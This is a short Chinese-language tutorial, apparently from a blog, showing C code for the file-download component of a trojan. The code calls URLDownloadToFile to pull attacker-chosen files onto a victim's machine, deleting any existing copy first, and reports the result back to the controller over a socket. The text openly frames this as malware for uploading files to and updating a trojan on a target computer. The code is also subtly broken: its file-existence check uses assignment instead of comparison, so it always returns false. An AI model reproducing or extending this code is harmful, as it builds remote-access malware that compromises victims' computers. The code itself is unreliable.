在我们的木马程序中,通常会使用到下载文件的功能,因为我们需要向目标电脑上传文件、更新木马程序等等。这里,我们介绍一种简单的http下载:使用API函数URLDownloadToFile()。在调用之前要引入相应的头文件:
#include <urlmon.h>
#pragma comment(lib,"urlmon.lib")
程序中我们先判断要下载的文件是否存在于目标位置,如果存在则删除文件后再下载。若不存在,则直接下载。话不多说,直接上代码:
BOOL FileExists(LPCTSTR lpszFileName){
DWORD dwAttributes = GetFileAttributes(lpszFileName);
if(dwAttributes = 0xffffffff){
return false;
}
else {
return true;
}
}
void download(SOCKET s,char *Url,char *FilePath){
if(FileExists(FilePath)){
if(!DeleteFile(FilePath)){
send(s,"\r\n文件已存在,并且无法删除\r\n",strlen("\r\n文件已存在,并且无法删除\r\n"),0);
return ;
}
}
//开始下载
URLDownloadToFile(0,Url,FilePath,0,0);
if(FileExists(FilePath)){
send(s,"\r\n文件下载成功\r\n",strlen("\r\n文件下载成功\r\n"),0);
}
else send(s,"\r\n文件下载失败\r\n",strlen("\r\n文件下载失败\r\n"),0);
}